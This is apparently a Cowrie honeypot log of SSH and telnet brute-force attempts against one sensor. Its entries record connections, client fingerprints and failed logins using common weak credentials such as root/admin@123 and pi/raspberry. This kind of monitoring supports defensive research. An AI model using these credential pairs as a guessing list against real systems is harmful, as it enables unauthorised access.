{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:45.980426Z","src_ip":"83.168.110.85","session":"40cb86641a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:46.495443Z","src_ip":"83.168.110.85","session":"40cb86641a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59390,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a3a9e78130a","protocol":"ssh","message":"New connection: 103.176.20.57:59390 (159.203.135.109:22) [session: 6a3a9e78130a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:46.686106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:46.690586Z","src_ip":"103.176.20.57","session":"6a3a9e78130a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:46.938946Z","src_ip":"103.176.20.57","session":"6a3a9e78130a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.191939115524292,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:47.107270Z","src_ip":"176.65.139.118","session":"06ea46d1264b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":55204,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5d4c578c4d1","protocol":"telnet","message":"New connection: 176.65.139.118:55204 (159.203.135.109:23) [session: b5d4c578c4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:47.278084Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:47.619742Z","src_ip":"83.168.110.85","session":"40cb86641a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234568","message":"login attempt [root/1234568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:47.686109Z","src_ip":"103.176.20.57","session":"6a3a9e78130a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38860,"dst_ip":"10.17.0.5","dst_port":23,"session":"25a36c4b806b","protocol":"telnet","message":"New connection: 152.42.224.71:38860 (10.17.0.5:23) [session: 25a36c4b806b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:48.066921Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:48.934952Z","src_ip":"103.176.20.57","session":"6a3a9e78130a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:51.550972Z","src_ip":"176.65.139.118","session":"b5d4c578c4d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42814,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a5a1250244a","protocol":"ssh","message":"New connection: 83.168.110.85:42814 (10.17.0.5:22) [session: 2a5a1250244a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:53.078579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:53.082868Z","src_ip":"83.168.110.85","session":"2a5a1250244a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:53.205052Z","src_ip":"83.168.110.85","session":"2a5a1250244a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:53.567674Z","src_ip":"83.168.110.85","session":"2a5a1250244a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:54.797900Z","src_ip":"83.168.110.85","session":"2a5a1250244a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.867348670959473,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:55.145316Z","src_ip":"176.65.139.118","session":"b5d4c578c4d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":39016,"dst_ip":"159.203.135.109","dst_port":23,"session":"333c7683cad2","protocol":"telnet","message":"New connection: 176.65.139.118:39016 (159.203.135.109:23) [session: 333c7683cad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:55.301305Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56990,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc951bfc12f","protocol":"ssh","message":"New connection: 83.168.110.85:56990 (10.17.0.5:22) [session: 5cc951bfc12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:59.880872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:59.885432Z","src_ip":"83.168.110.85","session":"5cc951bfc12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:00.002898Z","src_ip":"83.168.110.85","session":"5cc951bfc12f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:00.482842Z","src_ip":"83.168.110.85","session":"5cc951bfc12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:01.609090Z","src_ip":"83.168.110.85","session":"5cc951bfc12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.952996015548706,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:06.254177Z","src_ip":"176.65.139.118","session":"333c7683cad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60458,"dst_ip":"10.17.0.5","dst_port":22,"session":"230a10741070","protocol":"ssh","message":"New connection: 83.168.110.85:60458 (10.17.0.5:22) [session: 230a10741070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:06.825317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:06.834878Z","src_ip":"83.168.110.85","session":"230a10741070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:06.948217Z","src_ip":"83.168.110.85","session":"230a10741070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":34422,"dst_ip":"159.203.135.109","dst_port":23,"session":"107623e1ef58","protocol":"telnet","message":"New connection: 176.65.139.118:34422 (159.203.135.109:23) [session: 107623e1ef58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:07.395965Z"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:07.438110Z","src_ip":"83.168.110.85","session":"230a10741070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.128580093383789,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:08.524423Z","src_ip":"176.65.139.118","session":"107623e1ef58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:08.561977Z","src_ip":"83.168.110.85","session":"230a10741070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38766,"dst_ip":"159.203.135.109","dst_port":23,"session":"d647b5cf3999","protocol":"telnet","message":"New connection: 176.65.139.118:38766 (159.203.135.109:23) [session: d647b5cf3999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:08.843071Z"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:12.733260Z","src_ip":"176.65.139.118","session":"d647b5cf3999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60462,"dst_ip":"10.17.0.5","dst_port":22,"session":"efcd11bc3bae","protocol":"ssh","message":"New connection: 83.168.110.85:60462 (10.17.0.5:22) [session: efcd11bc3bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:13.675375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:13.683005Z","src_ip":"83.168.110.85","session":"efcd11bc3bae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:13.805279Z","src_ip":"83.168.110.85","session":"efcd11bc3bae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:14.287289Z","src_ip":"83.168.110.85","session":"efcd11bc3bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:15.410907Z","src_ip":"83.168.110.85","session":"efcd11bc3bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.17207384109497,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:17.015019Z","src_ip":"176.65.139.118","session":"d647b5cf3999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33698,"dst_ip":"159.203.135.109","dst_port":23,"session":"8906797d8027","protocol":"telnet","message":"New connection: 176.65.139.118:33698 (159.203.135.109:23) [session: 8906797d8027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:17.265752Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56672,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1b5211e5f4e","protocol":"ssh","message":"New connection: 83.168.110.85:56672 (10.17.0.5:22) [session: a1b5211e5f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:20.509280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:20.820735Z","src_ip":"83.168.110.85","session":"a1b5211e5f4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:20.824878Z","src_ip":"83.168.110.85","session":"a1b5211e5f4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:21.307650Z","src_ip":"83.168.110.85","session":"a1b5211e5f4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.24511766433716,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:21.311924Z","src_ip":"152.42.224.71","session":"25a36c4b806b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:22.443889Z","src_ip":"83.168.110.85","session":"a1b5211e5f4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:23.511062Z","src_ip":"176.65.139.118","session":"8906797d8027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.257535696029663,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:24.523175Z","src_ip":"176.65.139.118","session":"8906797d8027","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38904,"dst_ip":"159.203.135.109","dst_port":23,"session":"a862f92b45c4","protocol":"telnet","message":"New connection: 176.65.139.118:38904 (159.203.135.109:23) [session: a862f92b45c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:26:24.700680Z"}
